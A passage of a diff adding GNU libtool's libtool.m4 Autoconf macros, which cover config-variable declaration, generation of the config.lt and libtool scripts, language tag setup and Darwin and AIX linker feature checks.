-------------------------------------------------------- +m4_define([_LT_TAGDECL], [_LT_DECL([$1], [$2], [$3], [$4], [yes])]) + + +# lt_decl_tag_varnames([SEPARATOR], [VARNAME1...]) +# ------------------------------------------------ +m4_define([lt_decl_tag_varnames], +[_lt_decl_filter([tagged?], [yes], $@)]) + + +# _lt_decl_filter(SUBKEY, VALUE, [SEPARATOR], [VARNAME1..]) +# --------------------------------------------------------- +m4_define([_lt_decl_filter], +[m4_case([$#], + [0], [m4_fatal([$0: too few arguments: $#])], + [1], [m4_fatal([$0: too few arguments: $#: $1])], + [2], [lt_dict_filter([lt_decl_dict], [$1], [$2], [], lt_decl_varnames)], + [3], [lt_dict_filter([lt_decl_dict], [$1], [$2], [$3], lt_decl_varnames)], + [lt_dict_filter([lt_decl_dict], $@)])[]dnl +]) + + +# lt_decl_quote_varnames([SEPARATOR], [VARNAME1...]) +# -------------------------------------------------- +m4_define([lt_decl_quote_varnames], +[_lt_decl_filter([value], [1], $@)]) + + +# lt_decl_dquote_varnames([SEPARATOR], [VARNAME1...]) +# --------------------------------------------------- +m4_define([lt_decl_dquote_varnames], +[_lt_decl_filter([value], [2], $@)]) + + +# lt_decl_varnames_tagged([SEPARATOR], [VARNAME1...]) +# --------------------------------------------------- +m4_define([lt_decl_varnames_tagged], +[m4_assert([$# <= 2])dnl +_$0(m4_quote(m4_default([$1], [[, ]])), + m4_ifval([$2], [[$2]], [m4_dquote(lt_decl_tag_varnames)]), + m4_split(m4_normalize(m4_quote(_LT_TAGS)), [ ]))]) +m4_define([_lt_decl_varnames_tagged], +[m4_ifval([$3], [lt_combine([$1], [$2], [_], $3)])]) + + +# lt_decl_all_varnames([SEPARATOR], [VARNAME1...]) +# ------------------------------------------------ +m4_define([lt_decl_all_varnames], +[_$0(m4_quote(m4_default([$1], [[, ]])), + m4_if([$2], [], + m4_quote(lt_decl_varnames), + m4_quote(m4_shift($@))))[]dnl +]) +m4_define([_lt_decl_all_varnames], +[lt_join($@, lt_decl_varnames_tagged([$1], + lt_decl_tag_varnames([[, ]], m4_shift($@))))dnl +]) + + +# _LT_CONFIG_STATUS_DECLARE([VARNAME]) +# ------------------------------------ +# Quote a variable value, and forward it to 'config.status' so that its +# declaration there will have the same value as in 'configure'. VARNAME +# must have a single quote delimited value for this to work. +m4_define([_LT_CONFIG_STATUS_DECLARE], +[$1='`$ECHO "$][$1" | $SED "$delay_single_quote_subst"`']) + + +# _LT_CONFIG_STATUS_DECLARATIONS +# ------------------------------ +# We delimit libtool config variables with single quotes, so when +# we write them to config.status, we have to be sure to quote all +# embedded single quotes properly. In configure, this macro expands +# each variable declared with _LT_DECL (and _LT_TAGDECL) into: +# +# ='`$ECHO "$" | $SED "$delay_single_quote_subst"`' +m4_defun([_LT_CONFIG_STATUS_DECLARATIONS], +[m4_foreach([_lt_var], m4_quote(lt_decl_all_varnames), + [m4_n([_LT_CONFIG_STATUS_DECLARE(_lt_var)])])]) + + +# _LT_LIBTOOL_TAGS +# ---------------- +# Output comment and list of tags supported by the script +m4_defun([_LT_LIBTOOL_TAGS], +[_LT_FORMAT_COMMENT([The names of the tagged configurations supported by this script])dnl +available_tags='_LT_TAGS'dnl +]) + + +# _LT_LIBTOOL_DECLARE(VARNAME, [TAG]) +# ----------------------------------- +# Extract the dictionary values for VARNAME (optionally with TAG) and +# expand to a commented shell variable setting: +# +# # Some comment about what VAR is for. +# visible_name=$lt_internal_name +m4_define([_LT_LIBTOOL_DECLARE], +[_LT_FORMAT_COMMENT(m4_quote(lt_dict_fetch([lt_decl_dict], [$1], + [description])))[]dnl +m4_pushdef([_libtool_name], + m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [libtool_name])))[]dnl +m4_case(m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [value])), + [0], [_libtool_name=[$]$1], + [1], [_libtool_name=$lt_[]$1], + [2], [_libtool_name=$lt_[]$1], + [_libtool_name=lt_dict_fetch([lt_decl_dict], [$1], [value])])[]dnl +m4_ifval([$2], [_$2])[]m4_popdef([_libtool_name])[]dnl +]) + + +# _LT_LIBTOOL_CONFIG_VARS +# ----------------------- +# Produce commented declarations of non-tagged libtool config variables +# suitable for insertion in the LIBTOOL CONFIG section of the 'libtool' +# script. Tagged libtool config variables (even for the LIBTOOL CONFIG +# section) are produced by _LT_LIBTOOL_TAG_VARS. +m4_defun([_LT_LIBTOOL_CONFIG_VARS], +[m4_foreach([_lt_var], + m4_quote(_lt_decl_filter([tagged?], [no], [], lt_decl_varnames)), + [m4_n([_LT_LIBTOOL_DECLARE(_lt_var)])])]) + + +# _LT_LIBTOOL_TAG_VARS(TAG) +# ------------------------- +m4_define([_LT_LIBTOOL_TAG_VARS], +[m4_foreach([_lt_var], m4_quote(lt_decl_tag_varnames), + [m4_n([_LT_LIBTOOL_DECLARE(_lt_var, [$1])])])]) + + +# _LT_TAGVAR(VARNAME, [TAGNAME]) +# ------------------------------ +m4_define([_LT_TAGVAR], [m4_ifval([$2], [$1_$2], [$1])]) + + +# _LT_CONFIG_COMMANDS +# ------------------- +# Send accumulated output to $CONFIG_STATUS. Thanks to the lists of +# variables for single and double quote escaping we saved from calls +# to _LT_DECL, we can put quote escaped variables declarations +# into 'config.status', and then the shell code to quote escape them in +# for loops in 'config.status'. Finally, any additional code accumulated +# from calls to _LT_CONFIG_LIBTOOL_INIT is expanded. +m4_defun([_LT_CONFIG_COMMANDS], +[AC_PROVIDE_IFELSE([LT_OUTPUT], + dnl If the libtool generation code has been placed in $CONFIG_LT, + dnl instead of duplicating it all over again into config.status, + dnl then we will have config.status run $CONFIG_LT later, so it + dnl needs to know what name is stored there: + [AC_CONFIG_COMMANDS([libtool], + [$SHELL $CONFIG_LT || AS_EXIT(1)], [CONFIG_LT='$CONFIG_LT'])], + dnl If the libtool generation code is destined for config.status, + dnl expand the accumulated commands and init code now: + [AC_CONFIG_COMMANDS([libtool], + [_LT_OUTPUT_LIBTOOL_COMMANDS], [_LT_OUTPUT_LIBTOOL_COMMANDS_INIT])]) +])#_LT_CONFIG_COMMANDS + + +# Initialize. +m4_define([_LT_OUTPUT_LIBTOOL_COMMANDS_INIT], +[ + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +sed_quote_subst='$sed_quote_subst' +double_quote_subst='$double_quote_subst' +delay_variable_subst='$delay_variable_subst' +_LT_CONFIG_STATUS_DECLARATIONS +LTCC='$LTCC' +LTCFLAGS='$LTCFLAGS' +compiler='$compiler_DEFAULT' + +# A function that is used when there is no print builtin or printf. +func_fallback_echo () +{ + eval 'cat <<_LTECHO_EOF +\$[]1 +_LTECHO_EOF' +} + +# Quote evaled strings. +for var in lt_decl_all_varnames([[ \ +]], lt_decl_quote_varnames); do + case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in + *[[\\\\\\\`\\"\\\$]]*) + eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED \\"\\\$sed_quote_subst\\"\\\`\\\\\\"" ## exclude from sc_prohibit_nested_quotes + ;; + *) + eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" + ;; + esac +done + +# Double-quote double-evaled strings. +for var in lt_decl_all_varnames([[ \ +]], lt_decl_dquote_varnames); do + case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in + *[[\\\\\\\`\\"\\\$]]*) + eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\"" ## exclude from sc_prohibit_nested_quotes + ;; + *) + eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" + ;; + esac +done + +_LT_OUTPUT_LIBTOOL_INIT +]) + +# _LT_GENERATED_FILE_INIT(FILE, [COMMENT]) +# ------------------------------------ +# Generate a child script FILE with all initialization necessary to +# reuse the environment learned by the parent script, and make the +# file executable. If COMMENT is supplied, it is inserted after the +# '#!' sequence but before initialization text begins. After this +# macro, additional text can be appended to FILE to form the body of +# the child script. The macro ends with non-zero status if the +# file could not be fully written (such as if the disk is full). +m4_ifdef([AS_INIT_GENERATED], +[m4_defun([_LT_GENERATED_FILE_INIT],[AS_INIT_GENERATED($@)])], +[m4_defun([_LT_GENERATED_FILE_INIT], +[m4_require([AS_PREPARE])]dnl +[m4_pushdef([AS_MESSAGE_LOG_FD])]dnl +[lt_write_fail=0 +cat >$1 <<_ASEOF || lt_write_fail=1 +#! $SHELL +# Generated by $as_me. +$2 +SHELL=\${CONFIG_SHELL-$SHELL} +export SHELL +_ASEOF +cat >>$1 <<\_ASEOF || lt_write_fail=1 +AS_SHELL_SANITIZE +_AS_PREPARE +exec AS_MESSAGE_FD>&1 +_ASEOF +test 0 = "$lt_write_fail" && chmod +x $1[]dnl +m4_popdef([AS_MESSAGE_LOG_FD])])])# _LT_GENERATED_FILE_INIT + +# LT_OUTPUT +# --------- +# This macro allows early generation of the libtool script (before +# AC_OUTPUT is called), incase it is used in configure for compilation +# tests. +AC_DEFUN([LT_OUTPUT], +[: ${CONFIG_LT=./config.lt} +AC_MSG_NOTICE([creating $CONFIG_LT]) +_LT_GENERATED_FILE_INIT(["$CONFIG_LT"], +[# Run this file to recreate a libtool stub with the current configuration.]) + +cat >>"$CONFIG_LT" <<\_LTEOF +lt_cl_silent=false +exec AS_MESSAGE_LOG_FD>>config.log +{ + echo + AS_BOX([Running $as_me.]) +} >&AS_MESSAGE_LOG_FD + +lt_cl_help="\ +'$as_me' creates a local libtool stub from the current configuration, +for use in further configure time tests before the real libtool is +generated. + +Usage: $[0] [[OPTIONS]] + + -h, --help print this help, then exit + -V, --version print version number, then exit + -q, --quiet do not print progress messages + -d, --debug don't remove temporary files + +Report bugs to ." + +lt_cl_version="\ +m4_ifset([AC_PACKAGE_NAME], [AC_PACKAGE_NAME ])config.lt[]dnl +m4_ifset([AC_PACKAGE_VERSION], [ AC_PACKAGE_VERSION]) +configured by $[0], generated by m4_PACKAGE_STRING. + +Copyright (C) 2011 Free Software Foundation, Inc. +This config.lt script is free software; the Free Software Foundation +gives unlimited permision to copy, distribute and modify it." + +while test 0 != $[#] +do + case $[1] in + --version | --v* | -V ) + echo "$lt_cl_version"; exit 0 ;; + --help | --h* | -h ) + echo "$lt_cl_help"; exit 0 ;; + --debug | --d* | -d ) + debug=: ;; + --quiet | --q* | --silent | --s* | -q ) + lt_cl_silent=: ;; + + -*) AC_MSG_ERROR([unrecognized option: $[1] +Try '$[0] --help' for more information.]) ;; + + *) AC_MSG_ERROR([unrecognized argument: $[1] +Try '$[0] --help' for more information.]) ;; + esac + shift +done + +if $lt_cl_silent; then + exec AS_MESSAGE_FD>/dev/null +fi +_LTEOF + +cat >>"$CONFIG_LT" <<_LTEOF +_LT_OUTPUT_LIBTOOL_COMMANDS_INIT +_LTEOF + +cat >>"$CONFIG_LT" <<\_LTEOF +AC_MSG_NOTICE([creating $ofile]) +_LT_OUTPUT_LIBTOOL_COMMANDS +AS_EXIT(0) +_LTEOF +chmod +x "$CONFIG_LT" + +# configure is writing to config.log, but config.lt does its own redirection, +# appending to config.log, which fails on DOS, as config.log is still kept +# open by configure. Here we exec the FD to /dev/null, effectively closing +# config.log, so it can be properly (re)opened and appended to by config.lt. +lt_cl_success=: +test yes = "$silent" && + lt_config_lt_args="$lt_config_lt_args --quiet" +exec AS_MESSAGE_LOG_FD>/dev/null +$SHELL "$CONFIG_LT" $lt_config_lt_args || lt_cl_success=false +exec AS_MESSAGE_LOG_FD>>config.log +$lt_cl_success || AS_EXIT(1) +])# LT_OUTPUT + + +# _LT_CONFIG(TAG) +# --------------- +# If TAG is the built-in tag, create an initial libtool script with a +# default configuration from the untagged config vars. Otherwise add code +# to config.status for appending the configuration named by TAG from the +# matching tagged config vars. +m4_defun([_LT_CONFIG], +[m4_require([_LT_FILEUTILS_DEFAULTS])dnl +_LT_CONFIG_SAVE_COMMANDS([ + m4_define([_LT_TAG], m4_if([$1], [], [C], [$1]))dnl + m4_if(_LT_TAG, [C], [ + # See if we are running on zsh, and set the options that allow our + # commands through without removal of \ escapes. + if test -n "${ZSH_VERSION+set}"; then + setopt NO_GLOB_SUBST + fi + + cfgfile=${ofile}T + trap "$RM \"$cfgfile\"; exit 1" 1 2 15 + $RM "$cfgfile" + + cat <<_LT_EOF >> "$cfgfile" +#! $SHELL +# Generated automatically by $as_me ($PACKAGE) $VERSION +# NOTE: Changes made to this file will be lost: look at ltmain.sh. + +# Provide generalized library-building support services. +# Written by Gordon Matzigkeit, 1996 + +_LT_COPYING +_LT_LIBTOOL_TAGS + +# Configured defaults for sys_lib_dlsearch_path munging. +: \${LT_SYS_LIBRARY_PATH="$configure_time_lt_sys_library_path"} + +# ### BEGIN LIBTOOL CONFIG +_LT_LIBTOOL_CONFIG_VARS +_LT_LIBTOOL_TAG_VARS +# ### END LIBTOOL CONFIG + +_LT_EOF + + cat <<'_LT_EOF' >> "$cfgfile" + +# ### BEGIN FUNCTIONS SHARED WITH CONFIGURE + +_LT_PREPARE_MUNGE_PATH_LIST +_LT_PREPARE_CC_BASENAME + +# ### END FUNCTIONS SHARED WITH CONFIGURE + +_LT_EOF + + case $host_os in + aix3*) + cat <<\_LT_EOF >> "$cfgfile" +# AIX sometimes has problems with the GCC collect2 program. For some +# reason, if we set the COLLECT_NAMES environment variable, the problems +# vanish in a puff of smoke. +if test set != "${COLLECT_NAMES+set}"; then + COLLECT_NAMES= + export COLLECT_NAMES +fi +_LT_EOF + ;; + esac + + _LT_PROG_LTMAIN + + # We use sed instead of cat because bash on DJGPP gets confused if + # if finds mixed CR/LF and LF-only lines. Since sed operates in + # text mode, it properly converts lines to CR/LF. This bash problem + # is reportedly fixed, but why not run on old versions too? + $SED '$q' "$ltmain" >> "$cfgfile" \ + || (rm -f "$cfgfile"; exit 1) + + mv -f "$cfgfile" "$ofile" || + (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") + chmod +x "$ofile" +], +[cat <<_LT_EOF >> "$ofile" + +dnl Unfortunately we have to use $1 here, since _LT_TAG is not expanded +dnl in a comment (ie after a #). +# ### BEGIN LIBTOOL TAG CONFIG: $1 +_LT_LIBTOOL_TAG_VARS(_LT_TAG) +# ### END LIBTOOL TAG CONFIG: $1 +_LT_EOF +])dnl /m4_if +], +[m4_if([$1], [], [ + PACKAGE='$PACKAGE' + VERSION='$VERSION' + RM='$RM' + ofile='$ofile'], []) +])dnl /_LT_CONFIG_SAVE_COMMANDS +])# _LT_CONFIG + + +# LT_SUPPORTED_TAG(TAG) +# --------------------- +# Trace this macro to discover what tags are supported by the libtool +# --tag option, using: +# autoconf --trace 'LT_SUPPORTED_TAG:$1' +AC_DEFUN([LT_SUPPORTED_TAG], []) + + +# C support is built-in for now +m4_define([_LT_LANG_C_enabled], []) +m4_define([_LT_TAGS], []) + + +# LT_LANG(LANG) +# ------------- +# Enable libtool support for the given language if not already enabled. +AC_DEFUN([LT_LANG], +[AC_BEFORE([$0], [LT_OUTPUT])dnl +m4_case([$1], + [C], [_LT_LANG(C)], + [C++], [_LT_LANG(CXX)], + [Go], [_LT_LANG(GO)], + [Java], [_LT_LANG(GCJ)], + [Fortran 77], [_LT_LANG(F77)], + [Fortran], [_LT_LANG(FC)], + [Windows Resource], [_LT_LANG(RC)], + [m4_ifdef([_LT_LANG_]$1[_CONFIG], + [_LT_LANG($1)], + [m4_fatal([$0: unsupported language: "$1"])])])dnl +])# LT_LANG + + +# _LT_LANG(LANGNAME) +# ------------------ +m4_defun([_LT_LANG], +[m4_ifdef([_LT_LANG_]$1[_enabled], [], + [LT_SUPPORTED_TAG([$1])dnl + m4_append([_LT_TAGS], [$1 ])dnl + m4_define([_LT_LANG_]$1[_enabled], [])dnl + _LT_LANG_$1_CONFIG($1)])dnl +])# _LT_LANG + + +m4_ifndef([AC_PROG_GO], [ +############################################################ +# NOTE: This macro has been submitted for inclusion into # +# GNU Autoconf as AC_PROG_GO. When it is available in # +# a released version of Autoconf we should remove this # +# macro and use it instead. # +############################################################ +m4_defun([AC_PROG_GO], +[AC_LANG_PUSH(Go)dnl +AC_ARG_VAR([GOC], [Go compiler command])dnl +AC_ARG_VAR([GOFLAGS], [Go compiler flags])dnl +_AC_ARG_VAR_LDFLAGS()dnl +AC_CHECK_TOOL(GOC, gccgo) +if test -z "$GOC"; then + if test -n "$ac_tool_prefix"; then + AC_CHECK_PROG(GOC, [${ac_tool_prefix}gccgo], [${ac_tool_prefix}gccgo]) + fi +fi +if test -z "$GOC"; then + AC_CHECK_PROG(GOC, gccgo, gccgo, false) +fi +])#m4_defun +])#m4_ifndef + + +# _LT_LANG_DEFAULT_CONFIG +# ----------------------- +m4_defun([_LT_LANG_DEFAULT_CONFIG], +[AC_PROVIDE_IFELSE([AC_PROG_CXX], + [LT_LANG(CXX)], + [m4_define([AC_PROG_CXX], defn([AC_PROG_CXX])[LT_LANG(CXX)])]) + +AC_PROVIDE_IFELSE([AC_PROG_F77], + [LT_LANG(F77)], + [m4_define([AC_PROG_F77], defn([AC_PROG_F77])[LT_LANG(F77)])]) + +AC_PROVIDE_IFELSE([AC_PROG_FC], + [LT_LANG(FC)], + [m4_define([AC_PROG_FC], defn([AC_PROG_FC])[LT_LANG(FC)])]) + +dnl The call to [A][M_PROG_GCJ] is quoted like that to stop aclocal +dnl pulling things in needlessly. +AC_PROVIDE_IFELSE([AC_PROG_GCJ], + [LT_LANG(GCJ)], + [AC_PROVIDE_IFELSE([A][M_PROG_GCJ], + [LT_LANG(GCJ)], + [AC_PROVIDE_IFELSE([LT_PROG_GCJ], + [LT_LANG(GCJ)], + [m4_ifdef([AC_PROG_GCJ], + [m4_define([AC_PROG_GCJ], defn([AC_PROG_GCJ])[LT_LANG(GCJ)])]) + m4_ifdef([A][M_PROG_GCJ], + [m4_define([A][M_PROG_GCJ], defn([A][M_PROG_GCJ])[LT_LANG(GCJ)])]) + m4_ifdef([LT_PROG_GCJ], + [m4_define([LT_PROG_GCJ], defn([LT_PROG_GCJ])[LT_LANG(GCJ)])])])])]) + +AC_PROVIDE_IFELSE([AC_PROG_GO], + [LT_LANG(GO)], + [m4_define([AC_PROG_GO], defn([AC_PROG_GO])[LT_LANG(GO)])]) + +AC_PROVIDE_IFELSE([LT_PROG_RC], + [LT_LANG(RC)], + [m4_define([LT_PROG_RC], defn([LT_PROG_RC])[LT_LANG(RC)])]) +])# _LT_LANG_DEFAULT_CONFIG + +# Obsolete macros: +AU_DEFUN([AC_LIBTOOL_CXX], [LT_LANG(C++)]) +AU_DEFUN([AC_LIBTOOL_F77], [LT_LANG(Fortran 77)]) +AU_DEFUN([AC_LIBTOOL_FC], [LT_LANG(Fortran)]) +AU_DEFUN([AC_LIBTOOL_GCJ], [LT_LANG(Java)]) +AU_DEFUN([AC_LIBTOOL_RC], [LT_LANG(Windows Resource)]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBTOOL_CXX], []) +dnl AC_DEFUN([AC_LIBTOOL_F77], []) +dnl AC_DEFUN([AC_LIBTOOL_FC], []) +dnl AC_DEFUN([AC_LIBTOOL_GCJ], []) +dnl AC_DEFUN([AC_LIBTOOL_RC], []) + + +# _LT_TAG_COMPILER +# ---------------- +m4_defun([_LT_TAG_COMPILER], +[AC_REQUIRE([AC_PROG_CC])dnl + +_LT_DECL([LTCC], [CC], [1], [A C compiler])dnl +_LT_DECL([LTCFLAGS], [CFLAGS], [1], [LTCC compiler flags])dnl +_LT_TAGDECL([CC], [compiler], [1], [A language specific compiler])dnl +_LT_TAGDECL([with_gcc], [GCC], [0], [Is the compiler the GNU compiler?])dnl + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# If no C compiler flags were specified, use CFLAGS. +LTCFLAGS=${LTCFLAGS-"$CFLAGS"} + +# Allow CC to be a program name with arguments. +compiler=$CC +])# _LT_TAG_COMPILER + + +# _LT_COMPILER_BOILERPLATE +# ------------------------ +# Check for compiler boilerplate output or warnings with +# the simple compiler test code. +m4_defun([_LT_COMPILER_BOILERPLATE], +[m4_require([_LT_DECL_SED])dnl +ac_outfile=conftest.$ac_objext +echo "$lt_simple_compile_test_code" >conftest.$ac_ext +eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err +_lt_compiler_boilerplate=`cat conftest.err` +$RM conftest* +])# _LT_COMPILER_BOILERPLATE + + +# _LT_LINKER_BOILERPLATE +# ---------------------- +# Check for linker boilerplate output or warnings with +# the simple link test code. +m4_defun([_LT_LINKER_BOILERPLATE], +[m4_require([_LT_DECL_SED])dnl +ac_outfile=conftest.$ac_objext +echo "$lt_simple_link_test_code" >conftest.$ac_ext +eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err +_lt_linker_boilerplate=`cat conftest.err` +$RM -r conftest* +])# _LT_LINKER_BOILERPLATE + +# _LT_REQUIRED_DARWIN_CHECKS +# ------------------------- +m4_defun_once([_LT_REQUIRED_DARWIN_CHECKS],[ + case $host_os in + rhapsody* | darwin*) + AC_CHECK_TOOL([DSYMUTIL], [dsymutil], [:]) + AC_CHECK_TOOL([NMEDIT], [nmedit], [:]) + AC_CHECK_TOOL([LIPO], [lipo], [:]) + AC_CHECK_TOOL([OTOOL], [otool], [:]) + AC_CHECK_TOOL([OTOOL64], [otool64], [:]) + _LT_DECL([], [DSYMUTIL], [1], + [Tool to manipulate archived DWARF debug symbol files on Mac OS X]) + _LT_DECL([], [NMEDIT], [1], + [Tool to change global to local symbols on Mac OS X]) + _LT_DECL([], [LIPO], [1], + [Tool to manipulate fat objects and archives on Mac OS X]) + _LT_DECL([], [OTOOL], [1], + [ldd/readelf like tool for Mach-O binaries on Mac OS X]) + _LT_DECL([], [OTOOL64], [1], + [ldd/readelf like tool for 64 bit Mach-O binaries on Mac OS X 10.4]) + + AC_CACHE_CHECK([for -single_module linker flag],[lt_cv_apple_cc_single_mod], + [lt_cv_apple_cc_single_mod=no + if test -z "$LT_MULTI_MODULE"; then + # By default we will add the -single_module flag. You can override + # by either setting the environment variable LT_MULTI_MODULE + # non-empty at configure time, or by adding -multi_module to the + # link flags. + rm -rf libconftest.dylib* + echo "int foo(void){return 1;}" > conftest.c + echo "$LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ +-dynamiclib -Wl,-single_module conftest.c" >&AS_MESSAGE_LOG_FD + $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ + -dynamiclib -Wl,-single_module conftest.c 2>conftest.err + _lt_result=$? + # If there is a non-empty error log, and "single_module" + # appears in it, assume the flag caused a linker warning + if test -s conftest.err && $GREP single_module conftest.err; then + cat conftest.err >&AS_MESSAGE_LOG_FD + # Otherwise, if the output was created with a 0 exit code from + # the compiler, it worked. + elif test -f libconftest.dylib && test 0 = "$_lt_result"; then + lt_cv_apple_cc_single_mod=yes + else + cat conftest.err >&AS_MESSAGE_LOG_FD + fi + rm -rf libconftest.dylib* + rm -f conftest.* + fi]) + + AC_CACHE_CHECK([for -exported_symbols_list linker flag], + [lt_cv_ld_exported_symbols_list], + [lt_cv_ld_exported_symbols_list=no + save_LDFLAGS=$LDFLAGS + echo "_main" > conftest.sym + LDFLAGS="$LDFLAGS -Wl,-exported_symbols_list,conftest.sym" + AC_LINK_IFELSE([AC_LANG_PROGRAM([],[])], + [lt_cv_ld_exported_symbols_list=yes], + [lt_cv_ld_exported_symbols_list=no]) + LDFLAGS=$save_LDFLAGS + ]) + + AC_CACHE_CHECK([for -force_load linker flag],[lt_cv_ld_force_load], + [lt_cv_ld_force_load=no + cat > conftest.c << _LT_EOF +int forced_loaded() { return 2;} +_LT_EOF + echo "$LTCC $LTCFLAGS -c -o conftest.o conftest.c" >&AS_MESSAGE_LOG_FD + $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&AS_MESSAGE_LOG_FD + echo "$AR $AR_FLAGS libconftest.a conftest.o" >&AS_MESSAGE_LOG_FD + $AR $AR_FLAGS libconftest.a conftest.o 2>&AS_MESSAGE_LOG_FD + echo "$RANLIB libconftest.a" >&AS_MESSAGE_LOG_FD + $RANLIB libconftest.a 2>&AS_MESSAGE_LOG_FD + cat > conftest.c << _LT_EOF +int main() { return 0;} +_LT_EOF + echo "$LTCC $LTCFLAGS $LDFLAGS -o conftest conftest.c -Wl,-force_load,./libconftest.a" >&AS_MESSAGE_LOG_FD + $LTCC $LTCFLAGS $LDFLAGS -o conftest conftest.c -Wl,-force_load,./libconftest.a 2>conftest.err + _lt_result=$? + if test -s conftest.err && $GREP force_load conftest.err; then + cat conftest.err >&AS_MESSAGE_LOG_FD + elif test -f conftest && test 0 = "$_lt_result" && $GREP forced_load conftest >/dev/null 2>&1; then + lt_cv_ld_force_load=yes + else + cat conftest.err >&AS_MESSAGE_LOG_FD + fi + rm -f conftest.err libconftest.a conftest conftest.c + rm -rf conftest.dSYM + ]) + case $host_os in + rhapsody* | darwin1.[[012]]) + _lt_dar_allow_undefined='$wl-undefined ${wl}suppress' ;; + darwin1.*) + _lt_dar_allow_undefined='$wl-flat_namespace $wl-undefined ${wl}suppress' ;; + darwin*) + case $MACOSX_DEPLOYMENT_TARGET,$host in + 10.[[012]],*|,*powerpc*-darwin[[5-8]]*) + _lt_dar_allow_undefined='$wl-flat_namespace $wl-undefined ${wl}suppress' ;; + *) + _lt_dar_allow_undefined='$wl-undefined ${wl}dynamic_lookup' ;; + esac + ;; + esac + if test yes = "$lt_cv_apple_cc_single_mod"; then + _lt_dar_single_mod='$single_module' + fi + if test yes = "$lt_cv_ld_exported_symbols_list"; then + _lt_dar_export_syms=' $wl-exported_symbols_list,$output_objdir/$libname-symbols.expsym' + else + _lt_dar_export_syms='~$NMEDIT -s $output_objdir/$libname-symbols.expsym $lib' + fi + if test : != "$DSYMUTIL" && test no = "$lt_cv_ld_force_load"; then + _lt_dsymutil='~$DSYMUTIL $lib || :' + else + _lt_dsymutil= + fi + ;; + esac +]) + + +# _LT_DARWIN_LINKER_FEATURES([TAG]) +# --------------------------------- +# Checks for linker and compiler features on darwin +m4_defun([_LT_DARWIN_LINKER_FEATURES], +[ + m4_require([_LT_REQUIRED_DARWIN_CHECKS]) + _LT_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_TAGVAR(hardcode_direct, $1)=no + _LT_TAGVAR(hardcode_automatic, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + if test yes = "$lt_cv_ld_force_load"; then + _LT_TAGVAR(whole_archive_flag_spec, $1)='`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience $wl-force_load,$conv\"; done; func_echo_all \"$new_convenience\"`' + m4_case([$1], [F77], [_LT_TAGVAR(compiler_needs_object, $1)=yes], + [FC], [_LT_TAGVAR(compiler_needs_object, $1)=yes]) + else + _LT_TAGVAR(whole_archive_flag_spec, $1)='' + fi + _LT_TAGVAR(link_all_deplibs, $1)=yes + _LT_TAGVAR(allow_undefined_flag, $1)=$_lt_dar_allow_undefined + case $cc_basename in + ifort*|nagfor*) _lt_dar_can_shared=yes ;; + *) _lt_dar_can_shared=$GCC ;; + esac + if test yes = "$_lt_dar_can_shared"; then + output_verbose_link_cmd=func_echo_all + _LT_TAGVAR(archive_cmds, $1)="\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring $_lt_dar_single_mod$_lt_dsymutil" + _LT_TAGVAR(module_cmds, $1)="\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags$_lt_dsymutil" + _LT_TAGVAR(archive_expsym_cmds, $1)="$SED 's|^|_|' < \$export_symbols > \$output_objdir/\$libname-symbols.expsym~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring $_lt_dar_single_mod$_lt_dar_export_syms$_lt_dsymutil" + _LT_TAGVAR(module_expsym_cmds, $1)="$SED -e 's|^|_|' < \$export_symbols > \$output_objdir/\$libname-symbols.expsym~\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags$_lt_dar_export_syms$_lt_dsymutil" + m4_if([$1], [CXX], +[ if test yes != "$lt_cv_apple_cc_single_mod"; then + _LT_TAGVAR(archive_cmds, $1)="\$CC -r -keep_private_externs -nostdlib -o \$lib-master.o \$libobjs~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$lib-master.o \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring$_lt_dsymutil" + _LT_TAGVAR(archive_expsym_cmds, $1)="$SED 's|^|_|' < \$export_symbols > \$output_objdir/\$libname-symbols.expsym~\$CC -r -keep_private_externs -nostdlib -o \$lib-master.o \$libobjs~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$lib-master.o \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring$_lt_dar_export_syms$_lt_dsymutil" + fi +],[]) + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi +]) + +# _LT_SYS_MODULE_PATH_AIX([TAGNAME]) +# ---------------------------------- +# Links a minimal program and checks the executable +# for the system default hardcoded library path. In most cases, +# this is /usr/lib:/lib, but when the MPI compilers are used +# the location of the communication and MPI libs are included too. +# If we don't find anything, use the default library path according +# to the aix ld manual. +# Store the results from the different compilers for each TAGNAME. +# Allow to override them for all tags through lt_cv_aix_libpath. +m4_defun([_LT_SYS_MODULE_PATH_AIX], +[m4_require([_LT_DECL_SED])dnl +if test set = 